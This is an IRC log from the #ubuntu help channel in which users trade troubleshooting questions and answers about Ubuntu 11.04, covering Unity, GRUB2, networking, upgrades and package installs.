[20:03] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces?
[20:03] <tiger_eye> I used "memmap=0x10000$0x13c140000" in the kernel command in grub legacy.  same command in grub2 doesn't work. (for some reason, the ram in that address range--and only that address range--doesn't behave well)
[20:03] <needlez> xangua: ive noticed, but at the current moment it works nicely, just wish word wrap worked with it, cuz currently the only way to enable word wrap is to remove the list that shows who is in the IRC
[20:03] <JWay> mastaofdisasta, sudo /etc/init.d/networking restart
[20:04] <mastaofdisasta> JWay: I tried but it says it's deprecated
[20:04] <daedaluz> any drawbacks in installing xubuntu-desktop instead of xfce?
[20:05] <JWay> mastaofdisasta, try sudo service networking restart
[20:06] <tiger_eye> I noticed /etc/default/grub has a "GRUB_BADRAM" line, but the documentation I found on it wasn't at all clear for me
[20:06] <madsailor> I'm considering switching from maverick to natty.  Would I be better off with a fresh install from scratch, or upgrading (obviously will be backing up everything in either case)
[20:06] <asdf_msc> hey, anyone know if there's a way to change the icon of a launcher that's saved to the new side panel?
[20:06] <Ascavasaion> I installed Ubuntu 10.04 LTS on an AMD Duron 1300MHz, 384Mb RAM and 20Gb HDD.  I am intending to change to Xubuntu desktop.  but on the first reboot after installing it stop booting and gives me this... http://pastebin.ubuntu.com/601832/   Any ideas please?
[20:06] <Omega> daedaluz: xubuntu-desktop also installs all the applications xubuntu comes with
[20:06] <mastaofdisasta> JWay: it says "restart: Unknown instance:
[20:06] <kyubutsu> madsailor: fresh install.. and use torrents for download
[20:07] <asdf_msc> madsailor: fresh installs are always optimal, but the upgrade is performing perfectly for me
[20:07] <nbf> fuck I hate 11.04
[20:07] <madsailor> kyubutsu, why torrent?
[20:07] <nbf> it steals your focus
[20:07] <nbf> midwork
[20:07] <FloodBot2> nbf: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:07] <nbf> and doesn't give it back
[20:07] <nbf> so you can't save your work
[20:07] <mastaofdisasta> nbf: I'm starting to feel the same
[20:08] <JWay> mastaofdisasta, not sure then, sorry. Tried 'start' or 'stop' instead of restart?
[20:08] <Lcawte> Is there a command to pull open the distribution upgrade window?
[20:08] <mastaofdisasta> JWay: yea same message
[20:08] <asdf_msc> is there a way to change icon of launchers in 11.04 side panel?
[20:09] <eigba> Choosing ubuntu classic from the GDM login is the old gnome 2 correct?
[20:09] <escott> eigba, mostly
[20:09] <GarryFre> I mis-entered a repository in synaptic package manager and i need to edit out my error. The file is not in /etc/apt/sources.list like google sites said it would be, the error is in a different file. Anyone know where it is? I'm frustrated dealing with my frenemy google.
[20:09] <nbf> horrible, horrible release
[20:09] <eigba> I think unity is a nice for new people comming form mac/windows, however im not a fan
[20:10] <asdf_msc> nbf: look up the definition of opinion
[20:10] <JoseeAntonioR_> Guys, I'm having a great trouble. I have an Intel 82845G/GL video card, and it seems it doesn't recognizes my monitor. As a consequence, I cannot use Unity 3D, or change my resolution (it's stuck in 1024x768). What can I do in this case?
[20:10] <JWay> is there a way to stop cursor blinking in bash shell?
[20:10] <nbf> asdf_msc: you mean like when it steals the focus from an app and ever lets you click on a button again
[20:10] <nbf> so you get to force close the work you've just spent lots of time on
[20:10] <deadpulse> if the release sucks because of unity ,then it doesn't suck at all.
[20:10] <nbf> and can't save because it's a horrible, horrible release
[20:10] <sarthor> HI, i tried to upgrade from 10.10 to 11.04, but the internet went off or may be Machine restart or some power problem, but upgrade interrupted , I came to real mode with pressing M, I can ping Yahoo.com, i have an internet on my laptop now, but i can not upgrade now, it says, / not mounted, HELP
[20:11] <asdf_msc> nbf: really sounds like pebkac error to me
[20:11] <escott> sarthor, you are inside the initrd. you need to fsck your root filesystem first
[20:11] <escott> sarthor, that may be easier from a live cd
[20:11] <holek> I have a problem: My screen freezes but I can move my mouse. I can still interact with the desktop, but I cannot see any changes I make (ie. after clicking, etc.) I am running GNOME on Natty (not running Unity). How can I refresh the display again without killing X? *bump*
[20:11] <deadpulse> JoseeAntonioR_, maybe you want to have a custom xorg.conf file to manually set the resolution. Or use a monitor settings app to change it.
[20:12] <LjL> nbf: 1) control your language 2) it's not useful or helpful to just whine about the badness of the release. ask for specific advice instead, and if you just have to complain, do it in #ubuntu-offtopic - thanks
[20:12] <sarthor> escott, fsck / clean files and blocks.
[20:12] <kyubutsu> GarryFre: there is a software sources settings in synaptic
[20:12] <motazelewa> hey everybody
[20:13] <motazelewa> i have a problem
[20:13] <sarthor> escott, i did fsck /dev/sda5 it says clean fildes and blocks.
[20:13] <Emylbus> my roommate closed my computer while I was updating to 11.04, which crashed the comp (my comp crashes when closed, an issue i haven't gotten time to fix yet) and now I can't boot into my ubuntu partition
[20:13] <Emylbus> help?
[20:13] <JoseeAntonioR_> deadpulse I have tried creating and editing xorg.conf with the specs of my monitor, and it just makes my monitor go blank. I cannot use the monitor settings because my monitor is recognized as Unknown.
[20:13] <motazelewa> yes pleasr
[20:13] <ullas> howdy
[20:13] <anthony__> hi there.  any way to get unity to open folders?  I'd like to do something like <windows key> 'home' and have it appear as an icon
[20:13] <[thor]> !ask | motazelewa
[20:13] <ubottu> motazelewa: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:13] <queequeg1> Is there a console network manager?
[20:13] <ullas> anyone hearing
[20:13] <truepurple> Can one install drivers when running off a livecd?
[20:13] <nbf> asdf_msc: yeah well if you can accidentlly fucking permanantly disable mouse clicks in an app, with no way to return them, it's a pretty serious pebkac
[20:14] <motazelewa> why when i open some apps it just blink on the luncher and do not open
[20:14] <appHELP> hi, can anyone assist me in removing cups from my pc ?
[20:14] <motazelewa> ?
[20:14] <Cortex_> is there any way to change to the stable ubuntu version? it currently keeps crashing on me
[20:15] <holek> I have a problem: My screen freezes but I can move my mouse. I can still interact with the desktop, but I cannot see any changes I make (ie. after clicking, etc.) I am running GNOME on Natty (not running Unity). How can I refresh the display again without killing X? *bump*
[20:15] <magicianlord> Cortex_: you can try 10.04 LTS
[20:15] <deadpulse> JoseeAntonioR_, hum, the only way I see you get that resolution working is to keep tweaking the xorg.conf... read the xorg logs to see the errors and adjust it
[20:15] <zus> why would i be getting an W: GPG error: http://ppa.launchpad.net natty Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY
[20:15] <nsahoo> how do I install applets for weather or cpu-scaling etc?
[20:15] <usalabs> anthony__: unity is very hard to customize, I would suggest switching to classic gnome desktop
[20:15] <zus> i get a few ot them
[20:15] <nsahoo> on ubuntu 11.04?
[20:15] <Cortex_> magicianlord: can i download it directly and apply it or do i have to do the livecd or usb install?
[20:15] <ladelai> holek try alt+f9 :>
[20:15] <kyubutsu> Emylbus: mount the partition, back up your data, download system iso, install.
[20:15] <asdf_msc> is there any way to change a launchers icon in 11.04 panel?
[20:15] <Soothsayer> how do I have two different wallpapers in a dual monitor setup ?
[20:15] <magicianlord> Cortex_: you should download it 10.04.2 lts and install it new from usb
[20:16] <holek> ladelai: didn't do anything :(
[20:16] <Cortex_> magicianlord: all right, thanks
[20:16] <LjL> nsahoo: the keyword is "indicator", that's what they're called now instead of applets. but there isn't many of them yet. but there is weather
[20:16] <magicianlord> you're welcome
[20:16] <LjL> !info indicator-weather | nsahoo
[20:16] <ubottu> nsahoo: indicator-weather (source: indicator-weather): indicator that displays weather information. In component universe, is extra. Version 11.04.10+repack-0ubuntu2 (natty), package size 71 kB, installed size 672 kB
[20:16] <ladelai> no i guess not because its not a fullscreen window app
[20:16] <byrnejb> I have a mac powerbook model 5,2 (17" intel) that I am trying to boot using an Ubunt (11.0.1) live cd but when I select run from cd it just displays an undeline blinking cursor
[20:16] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces?
[20:16] <ladelai> you had prob with
[20:16] <Emylbus> kyubutsu: mount the partition in windows? when i install from the cd, will it be obvious what partitions to install to?
[20:16] <nsahoo> LjL: thnaks
[20:16] <holek> ladelai: what was it you wanted to do?
[20:17] <holek> ladelai: aah
[20:17] <ladelai> minimize window
[20:17] <nsahoo> LjL: indicator-weather is pulling about 10 other packages!
[20:17] <usalabs> mastaofdidasta: try using sudo services network restart
[20:17] <anthony__> usalabs, but unity is so nice and shiny!  I also love the screen space it frees up.  I used to have all sorts of addons and customisations but it it all looks ok.  ah well.  I mostly use terminal anyway so it's no biggy
[20:17] <escott> sarthor, the best thing may be to boot the live cd then chroot into the system and resume the upgrade
[20:17] <LjL> nsahoo: probably Python libraries
[20:18] <nsahoo> LjL: yes
[20:18] <kyubutsu> Emylbus: the objective is to save whatever data you need before reinstallation, thats all
[20:18] <GarryFre> now i really screwed it up, time to delete and reinstall. :(
[20:18] <Ascavasaion> I installed Ubuntu 10.04 LTS on an AMD Duron 1300MHz, 384Mb RAM and 20Gb HDD.  I am intending to change to Xubuntu desktop.  but on the first reboot after installing it stop booting and gives me this... http://pastebin.ubuntu.com/601832/   Any ideas please?
[20:18] <leigh> can anyone help me setup my wireless settings for my laptop? ubuntu 10.1
[20:18] <Emylbus> kyubutsu: I was wondering about the reinstallation process, since the computer has already been partitioned by the previous time I installed, I can just choose to install into the partitions that were made?
[20:18] <holek> ladelai: nope, that shouldn't be a problem, as then I should be able to go to another workspace and use it properly, right?
[20:19] <kyubutsu> Emylbus: if there is no valuable data, then you can skip this step
[20:19] <byrnejb> is there anything special required to boot a mac powerbook from ubunto 11.0.1 live  cd?
[20:19] <tiger_eye> does anybody use "memmap" or "badram" in grub2?  I'm trying to understand how these work in grub2, but without much luck
[20:19] <holek> ladelai: which doesn't work
[20:19] <usalabs> anthony__: I agree, unity looks good, but still needs more work, to be fully customizable
[20:19] <Emylbus> kyubutsu: i think i will skip it, nothing important was on there, all of it is luckily on my windows partition
[20:19] <[thor]> byrnejb: there is only really one way to know for certain.
[20:19] <JoseeAntonioR> deadpulse How can I check that?
[20:19] <byrnejb> which is?
[20:20] <[thor]> byrnejb: why, doing it, of course.
[20:20] <henke> how do I configure (add/remove) indicators in unity? I installed the weather indicator but can't find where to activate it.
[20:20] <sarthor> escott, do not have cd now,  when i did apt-get update, so it says, /var/lib/dpkg/lock,  and dpkg --configure -a also says, read-only filesystem, I can i be root to access, while i am root here,
[20:20] <kyubutsu> Emylbus: i assume you want to dual boot, yes?
[20:20] <byrnejb> as I already wrote. when I try I get an underline blinking cursor
[20:20] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces? when I execute /etc/init.d/networking restart it says it's deprecated.  I try sudo service networking restart and it says "restart: Unknown instance:"
[20:20] <holek> ladelai: also, right now I am in tty on irssi, if I go to X's (alt+f7), I can see the screen not refreshed (can see irssi) and I can move the cursor
[20:20] <anthony__> usalabs, yeah seems like it's not finished.  bit of a shame.  really like it though.  I've only just realised that I have two file managers.  nautilus and thunar.  what's with that?
[20:20] <Emylbus> kyubutsu: yessir
[20:20] <deadpulse> JoseeAntonioR, sudo tail /var/log/Xorg.0.log
[20:20] <kyubutsu> Emylbus: alright, i think you can take off then
[20:21] <escott> sarthor, you could try remounting it mount -o remount,rw /
[20:21] <patrunjel> I want to install windows 7 (for moms :) ), but I would like to keep grub as the bootloader, is it possible to change the crappy bootloader from the_crappy_os_I_will_not_write ? :)
[20:21] <zus> how come  i get  no pubkey errors when  using synaptic manager to update  11.04? after puting  in ppa?
[20:21] <Soothsayer> how do I have two different wallpapers in a dual monitor setup ?
[20:21] <patrunjel> I don't want to know how, i just want to know if I can or can't :)
[20:21] <kyubutsu> Emylbus: you sure about dual booting though?
[20:21] <escott> sarthor, but im not sure how resumable the install is in runlevel1
[20:22] <escott> patrunjel, you will have to reinstall grub
[20:22] <usalabs> anthony__: no idea,,, I switched to classic desktop, after extensively testing unity, and found it barely usable, it's ok for simple usage
[20:22] <patrunjel> escott, is this thing simple to do? :)
[20:22] <sarthor> escott, Yea i did that, and it worked, now what is next step, i did dpkg --configure -a, and it is working... i do not what it is working...
[20:22] <kyubutsu> Emylbus: use torrent
[20:22] <brontosaurusrex> may i assume that live-boot will boot into some safe shell UI thingy?
[20:23] <MohammadAG> umm, is there a way to pin the unity launcher/bar?
[20:23] <escott> patrunjel, simple is a relative term... all you do is boot the livecd, bind mount the special filesystems, chroot and run grub-install
[20:23] <Emylbus> kyubutsu: the iso already installed from the website
[20:23] <MohammadAG> cause I'm pretty sure I pinned it by mistake, and can't move it away
[20:23] <Emylbus> like 8 minutes
[20:23] <ubuntu> happy to see ubuntu looking a little more modern now. if only it wasn't so slow
[20:23] <ubuntu> lacks a lot of customization also
[20:23] <kyubutsu> Emylbus: good. proceed
[20:23] <escott> sarthor, i guess run with it, see where it goes
[20:23] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces? when I execute /etc/init.d/networking restart it says it's deprecated.  I try sudo service networking restart and it says "restart: Unknown instance:"
[20:24] <escott> !grub | patrunjel
[20:24] <ubottu> patrunjel: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[20:24] <sarthor> escott, Ok. it is workign.. i am jsut watching the running text going up .
[20:24] <holek> ladelai: any idea?
[20:24] <patrunjel> escott, thanks :)
[20:24] <anthony__> usalabs, two things for me.  it always gets in the way when I want to go back in firefox.  damn thing's always popping up, so ideally it'd be on the bottom.  secondly (and this is more an issue with gnome than unity) I can't use arrow keys when alt-tabbing: I have to cycle through all the windows if I miss one.  most annoying
[20:24] <Emylbus> kyubutsu: just to make sure, I have a 64bit computer, i want the 64 bit of ubuntu right? is there any reason i would want to use the 32bit version?
[20:24] <usalabs> mastaofdisasta: try this:- sudo /etc/init.d/network restart
[20:25] <truepurple> Can one put multiple versions of live CD onto one disk?
[20:25] <truepurple> Like say a DVD-R?
[20:25] <holek> ladelai: I've already tried auto-configuration by plugging in another monitor, that only refreshed the screen to black space with a cursor
[20:25] <escott> Emylbus, if you have a 32bit application you want to use, if you dont want to take advantage of 64bit features in your processor
[20:25] <mastaofdisasta> usalabs: it says deprecated
[20:25] <escott> Emylbus, thats not to say you can't run 32bit applications, but they may run better in a 32bit os
[20:25] <LjL> !away > ugisozols_away    (ugisozols_away, see the private message from ubottu)
[20:25] <Emylbus> escott: what would you suggest I do?
[20:26] <kyubutsu> Emylbus: 64bit. be aware that you'll need install ai32-libs to obtain support to run 32bit apps
[20:26] <anthony__> usalabs, nice to chat.  am off now. laters
[20:26] <Emylbus> kyubutsu: noted
[20:26] <sarthor> How to categorize my self, i am Newbe, Just a user, Simi Expert or Expert in Linux.
[20:26] <usalabs> anthony__: laters
[20:26] <LjL> sarthor: ... why is that important?
[20:26] <leigh> how do I turn on my wireless?
[20:27] <damicita> how can i unlock panel in order to organize my icons ?
[20:27] <usalabs> mastaofdisasta:  you might need to sudo -s then enter password, and try services network restart as root
[20:27] <mastaofdisasta> yes I sudo everything
[20:27] <sarthor> LjL, Several friends asked me, Am i Linux Expert, So i was unable to answer the, because i do not know, i am newbe or expert etc.
[20:27] <truepurple> Can one put multiple versions of live CD onto one disk? Like say a DVD-R?
[20:28] <binox> is there a gui to calibrate a joystick/gamepad.    i cant install jscalibrator  -pakage not found?
[20:28] <mastaofdisasta> usalabs: yes I sudo everything
[20:28] <LjL> sarthor: it seems a silly distinction to make to me, but anyway try asking in #ubuntu-offtopic, it's a bit out of place here
[20:28] <usalabs> sudo -s gives you a root command prompt
[20:28] <mastaofdisasta> usalabs: I do sudo su
[20:28] <mastaofdisasta> usalabs: it gives me a root prompt
[20:28] <mastaofdisasta> usalabs: but the result is the same
[20:29] <LjL> mastaofdisasta: sudoing everything is an awful idea, and you should normally use "sudo -i" not "sudo su", as the latter is redundant and doesn't set up the environment correctly
[20:29] <mastaofdisasta> usalabs: I think this has to do with upstart in 11.04
[20:29] <usalabs> mmm, it maybe a bug that needs reporting to launchpad
[20:29] <sarthor> LjL, Ok. again i got help here, now i will go to #ubuntu-offtopic , Again thanks to ubuntu. you guys really helped a lot.
[20:29] <Sidewinder1> truepurple, One could, but if one did, how would the system know which one to boot to?
[20:29] <holek> meh, I just killed my X
[20:29] <holek> thanks for nothing
[20:29] <ZzTribble> Anyone else having lag on compiz after uptime for a day or so
[20:29] <jamil_1> Help! I have to keep pressing alt key to perform normal left-click operations....I am on recently upgraded 11.04 system...
[20:29] <truepurple> Sidewinder1: Why ask me, I don't know
[20:30] <mastaofdisasta> LjL: good tip, but I think the issue here doesn't have anything to do with execution.
[20:30] <ZzTribble> Also nautilus is heavily leaking memory on my system.
[20:30] <mastaofdisasta> LjL: good tip, but I think the issue here doesn't have anything to do with execution priviledges
[20:30] <kyubutsu> binox: 11.04 repositories do not have this package. you will have to consider manually adding it
[20:30] <damicita> can get t o organize my icons
[20:30] <damicita> can't
[20:30] <nikolai`>  anyone notice a delay clicking the Unity panel menu that activates Dashboard on a netbook?
[20:30] <LjL> mastaofdisasta: probably not, i wasn't really following, just caught the sudo references
[20:30] <binox> im on maverick, and not upgrading
[20:30] <truepurple> Sidewinder1: There might be a way though, i mean one can dual boot, so surely one can do that with disks too
[20:30] <Sidewinder1> truepurple, It was an answer to your question. ;-)
[20:30] <binox> kyubutsu,  im on maverick and not upgrading,  is that also the issue with mav
[20:30] <Sidewinder1> truepurple, The answer os no.
[20:31] <Sidewinder1> is
[20:31] <binox> kyubutsu,  do you know the ppa by chance
[20:31] <Rehan> whats with the un-regged channel all of a sudden
[20:31] <truepurple> Sidewinder1: What burner program would you recommend for ubuntu?
[20:31] <Sidewinder1> truepurple, Brasero isn't bad.
[20:32] <ZzTribble> nikolai`: you might be having an issue similar to me.. when i move windows around, wobbly windows lags. But only if i havent restarted in a day or so
[20:32] <Superstar> How do I change the global background in the workspace switcher?
[20:32] <slinker1> Rehan: apparently some bad mannered bots
[20:32] <ZzTribble> nikolai`: so i guess the question is.. does it always do it?
[20:32] <truepurple> Sidewinder1: Have you used it?
[20:32] <victorhugo289> Today I installed Ubuntu 11.04 and I got this error: "It seems you don't have the necessary hardware to run Unity, choose the classic Ubuntu"
[20:32] <Rehan> slinker1: true haha
[20:32] <nikolai`> ZzTribble, yes - there's always several seconds in delay opening up the Unity dashboard on my netbook.
[20:32] <usalabs> I use K3b, even though it uses the KDE libraries, it's still a good burner with a lot of templates to use
[20:32] <ZzTribble> Hmm ok im not sure then
[20:32] <binox> victorhugo:  search for the ppa for unity 2d,  will work wonderful
[20:33] <ZzTribble> I want to blame compiz bugs
[20:33] <victorhugo289> My computer is a Pentium 4, @2Ghz, 1GB ram, with 128MB video, what's going on??
[20:33] <kyubutsu> binox: unfortunately i do not know this package's ppa
[20:33] <victorhugo289> @BINOX, really??
[20:33] <LjL> victorhugo289: it depends on the video card
[20:33] <LjL> victorhugo289: 128MB sounds like it's probably an old card
[20:33] <LjL> victorhugo289: i have a card with 512MB, and it's still too old to be supported for Unity, so ;)
[20:34] <victorhugo289> No way, dude!!
[20:34] <ZzTribble> victorhugo289: That is pretty old. It might be too old for all of unity.
[20:34] <jdahm> when I go to google.com in firefox on 11.04 it defaults to a really weird language with some really really weird character set
[20:34] <kyubutsu> binox: also, i do not know the current situation in maverick as i am using 11.04
[20:34] <victorhugo289> So I can't have Unity then?
[20:34] <Sidewinder1> truepurple,  Yes, although sometimes it gives me multiple error messages that "it couldn't" but in spite of the messages it does...Go figure.
[20:34] <binox> yeah,  google untiy 2d  and use terminal to add the ppa,  then istall it at login,  you can choose the 2d interface  if you dont want to stay with the gnoe interface
[20:34] <LjL> victorhugo289: well you can install unity-2d
[20:34] <ZzTribble> victorhugo289: you shouold be able to do like a lowquality unity or something
[20:34] <LjL> !info unity-2d | victorhugo289
[20:34] <ubottu> victorhugo289: unity-2d (source: unity-2d): Unity interface for non-accelerated graphics cards. In component main, is optional. Version 3.8.4.1-0ubuntu1 (natty), package size 7 kB, installed size 124 kB
[20:34] <ZzTribble> yea like LjL said..
[20:34] <jdahm> it has something like ?hl=chr
[20:34] <binox> victorhugo,  yes you can just without the 3d effects,  it depends on your graphics card
[20:34] <LjL> binox: is there a reason why to use the PPA? is it more recent than the version included in the repos?
[20:35] <jdahm> no clue what language that is.  Anyone fixed that?
[20:35] <victorhugo289> ok, I look that up in the Software center, Ubottu??
[20:35] <ZzTribble> victorhugo289: Terminal.. sudo apt-get install unity-2d
[20:35] <ZzTribble> ya?
[20:35] <victorhugo289> Alright.
[20:35] <binox> ljl ,  i dont believe its in the install,  if im not mistaken its not canonical,  but it works great if you are haveing unity 3d issues
[20:35] <IdleOne> victorhugo289: or the software center, yes.
[20:35] <binox> ther you go
[20:35] <kyubutsu> LjL: binox states that package is not found in maverick
[20:35] <usalabs> unity works good with the recommended Nvidia drivers for the GeForce 7600 GS 512MB
[20:36] <ZzTribble> victorhugo289: i just checked its in software center too
[20:36] <binox> i didnt know it was there.   it must be in final release
[20:36] <ZzTribble> i wasent sure if they listed it there
[20:36] <_Neytiri_> how do i add a user with a home dir different form the default location
[20:36] <JoseeAntonioR> How do I hide the Unity Launcher?
[20:36] <hugleo> My Apollo printer is not being recognized by the cups. 10.10 version is working ok.
[20:36] <LjL> binox, if ubottu says it's in Main, then it's there, and by Canonical ;)
[20:36] <IdleOne> !classic | JoseeAntonioR
[20:36] <ubottu> JoseeAntonioR: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[20:36] <binox> nice
[20:36] <LjL> kyubutsu: ah i thought we were talking about Natty though
[20:36] <binox> it wasnt there in the alpha. now it is.
[20:36] <Inphernal> Woahh, security
[20:36] <LjL> binox: i see
[20:36] <kyubutsu> LjL: is also not found in natty
[20:37] <dynoboyz> Hello, why my ntfs partition unrecognized?
[20:37] <ZzTribble> dynoboyz: Does it exist?
[20:37] <LjL> kyubutsu: uh, check again... maybe you need to sudo apt-get update? seriously, if the bot says it's there, it's quite definitely there
[20:37] <dynoboyz> yes, use Gparted before
[20:37] <ZzTribble> dynoboyz: seriously though, have you checked for it with gparted or something?
[20:37] <ZzTribble> o ok
[20:37] <JoseeAntonioR> I don't want to return to GNOME, I'm just asking because my Launcher doesn't auto-hide
[20:37] <ZzTribble> then how is it not recognized?
[20:38] <ZzTribble> dynoboyz: Like.. What is it not recognizing.. Like in nautilus?
[20:38] <dynoboyz> when im using gparted to resize it, my electricity turn off sudenly
[20:38] <usalabs> JoseeAntonioR: logging out and changing the session at login is not permanent, you can make the classic desktop permanent, byt running the app called 'Login Screen', then change the session there to classic
[20:38] <binox> coolanyone know the package repository for jscalibrator or a similar gui for game controllers
[20:38] <victorhugo289> I had no idea I was gonna face this problem, but I did notice that when I put the LIVE CD in and let it run I didn't see the Side bar that everybody is talking about. This Ubuntu 11.04 looks pretty much exactly like 10.04 to me. Dang!
[20:38] <ZzTribble> dynoboyz: ... That could have destroyed the partition
[20:38] <kyubutsu> LjL: fair enough. i take your word on it
[20:38] <xteejx> I'm using Natty, and need to do something. From the readme.txt for the program: "copy the approximate nearest neighbors (ANN) shared library at BASE_PATH/bin/libANN_char.so (Linux/cygwin) or BASE_PATH/bin/ann_1.1_char.dll (Windows VS2005) to a location in your LD_LIBRARY_PATH (or add BASE_PATH/lib to LD_LIBRARY_PATH)" anyone able to help?
[20:38] <dynoboyz> that mean I lost my data??
[20:38] <escott> dynoboyz, ouch you need to rescue with windows, but you are looking at restore from backup as the most likely result here
[20:38] <ZzTribble> dynoboyz: Your best bet is to attempt data recovery.
[20:38] <victorhugo289> Need a new computer. :S
[20:38] <victorhugo289> !
[20:39] <madsailor> binox, the jscal package is listed as in the maverick repo here :http://manpages.ubuntu.com/manpages/maverick/man1/jscal.1.html
[20:39] <JoseeAntonioR> I DO NOT want the classic desktop. I want the Unity bar that is on the side to auto-hide. I am NOT using the classic desktop.
[20:39] <jibadeeha> at last i have got to the bottom of ubuntu freezing on shutdown .. now a happy chappy
[20:39] <binox> madsailor,  thank you
[20:39] <miarroba> hola?
[20:39] <madsailor> np
[20:39] <ZzTribble> dynoboyz: https://help.ubuntu.com/community/DataRecovery
[20:39] <xteejx> anyone able to help with this linking stuff please?
[20:39] <escott> !es | miarroba
[20:39] <ubottu> miarroba: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[20:39] <Rehan> JoseeAntonioR: download compiz settings manager, in there that options exists under Unity Tweak
[20:39] <JoseeAntonioR> Para español entre al canal #ubuntu-es
[20:39] <ddd-222> on ubuntu 10.10 i am setting up autofs.
[20:39] <ddd-222> I was able to properly configure direct
[20:39] <ddd-222> and Indirect NFS file systems When I try
[20:39] <ddd-222> CIFS  I can get it to work directly.
[20:39] <ddd-222> When I tried to get it to work indirectly
[20:39] <FloodBot2> ddd-222: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:39] <ZzTribble> dynoboyz: It could get messy. There are also some easier applications in the ubuntu software repos
[20:39] <Rehan> JoseeAntonioR: CompizConfig Settings Manager
[20:40] <JoseeAntonioR> What is the package name for Compiz Settings Manager?
[20:40] <praveen> i am sharing files with my friends on lan..but i am not able to see all shared computers , i am able to see only some of the computers.what is wrong??
[20:40] <Rehan> JoseeAntonioR: ccsm
[20:40] <tiger_eye> aha!  the dollar sign in "memmap" command in grub2 needs to be escaped twice in /etc/default/grub, such as GRUB_CMDLINE_LINUX='memmap=0x10000\$0x13c140000' or GRUB_CMDLINE_LINUX="memmap=0x10000\\\$0x13c140000".  Not very clear from the documentation.  I think it's working now, so peace out!
[20:40] <Calif> If I've got an ip that changes but its a public ip on my linux machine, AND I want to get a dns name for it... say through some service such as dydns/noip - what kind of options do I have?
[20:40] <ZzTribble> praveen: Are they windows computers?
[20:40] <praveen> yes
[20:40] <ZzTribble> or linux?
[20:40] <ZzTribble> ok
[20:40] <ZzTribble> praveen: Is samba setup correctly on your pc?
[20:40] <JoseeAntonioR> Terminal says it is unable to locate package ccsm
[20:40] <dynoboyz> i have try some software
[20:41] <dynoboyz> but still cant
[20:41] <escott> Calif, i think you just said your main options there
[20:41] <xteejx> how do I find out what is in my LD_LIBRARY_PATH, and hwo do I add something to it?
[20:41] <LjL> xteejx: echo $LD_LIBRARY_PATH
[20:41] <Calif> ok, so I guess ill look into whether they have a good client for linux/ubuntu
[20:41] <xteejx> LjL Thanks
[20:41] <aauthor> Hello everyone, I'm not sure if this is the best place to ask this... but... I just installed gnome3 on ubuntu 11.04, however, when I attempt to log in I always get a "could not update /home/tom/.ICEAuthority.  I've checked to make sure that my user and it's group is the owner (and they are) what else could be wrong?
[20:41] <Rehan> JoseeAntonioR: i installed ubuntu-tweak first and then used that to setup CCSM. ubuntu-tweaks has a lot of good features in it besides that. google the download site for it.
[20:41] <escott> Calif, usually you just send a request to their servers and they update the dns entry, doubt you even need a client for that
[20:41] <ZzTribble> dynoboyz: you may have lost everything. Hopefully have backups or find professionals to recover it, hard to say how much can be saved from a half edited partition
[20:41] <praveen> i think so,actually some of them are able to access my computer and able to copy the files...but some are saying i am not able to see your computer on lan??
[20:41] <Zorlin> aauthor: This is a great place to ask this :)
[20:42] <Zorlin> Its the #ubuntu support channel, after all.
[20:42] <aauthor> Thanks Zorlin, I just know that gnome 3 isn't supported yet. :D
[20:42] <LjL> aauthor: i rebooted, and magically that problem got fixed
[20:42] <xteejx> LjL: Nothing came up when I did $LD_LIBRARY_PATH
[20:42] <ZzTribble> praveen: Most likey an issue on the individual windows computer then.. check security settings
[20:42] <xteejx> *echo $LD....
[20:42] <usalabs> JoseeAntonioR: try searching it in the package manager (ubuntu software center), I tried the search in there and it found it under ccsm
[20:42] <calamari> hi.. I did /etc/init.d/ssh stop .. and then pkill'ed sshd.. and sshd started running again. the only way I could stop it was by renaming the sshd executable. what is causing this?
[20:42] <escott> Calif, https://help.ubuntu.com/community/DynamicDNS
[20:42] <Zorlin> aauthor: Oh, good point, haha. Still might get away with it, just be super-patient since there's no obligation to help ;p
[20:42] <damicita> no puedo organisar mis iconos ?
[20:43] <Zorlin> aauthor: But as LjL said, have you tried rebooting?
[20:43] <ZzTribble> calamari: I feel like ssh has some sort of keepalive
[20:43] <ZzTribble> i'm not an expert on it though lol
[20:43] <aauthor> Thanks LjL. I've tried rebooting, and I still have the same trouble.
[20:43] <LjL> xteejx: for me either. i guess it's empty? to add stuff to it (but only temporarily), export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:new_entry"
[20:43] <JoseeAntonioR> http://imagebin.org/151187 That bar in the side doesn't auto-hide. What do I need to do?
[20:43] <JoseeAntonioR> !es
[20:43] <ubottu> En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[20:43] <xteejx> LjL Cool thanks
[20:43] <wli> I'm having trouble git cloning git://kernel.ubuntu.com/ubuntu/ubuntu-maverick.git because the remote end hangs up unexpectedly.
[20:43] <LjL> aauthor: no doubt it's also +rw for tom?
[20:43] <naryfa> Hi, does anybody know how to change output frequency in Ubuntu? My card is capable of 24bit 192kHz but I don't know where to set this
[20:44] <praveen> ZzTribble: but when i switched to window , i am able to see all shared computers on lan....so this is little bit confusing for me!!!
[20:44] <wli> Is there an http git URL I can use instead?
[20:44] <ZzTribble> calamari: im pretty sure its controlled by upstart which would explain it
[20:44] <LjL> naryfa, i believe that depends on the program you're using. but i can give you a command line to see if the driver is actually capable of that, a moment
[20:44] <usalabs> I found the unity bar only auto hides when a window is open full screen, but did you try the launcher & menu settings in the system preferences?
[20:44] <ZzTribble> praveen: It could be an issue on either end..
[20:44] <naryfa> LjL: ok
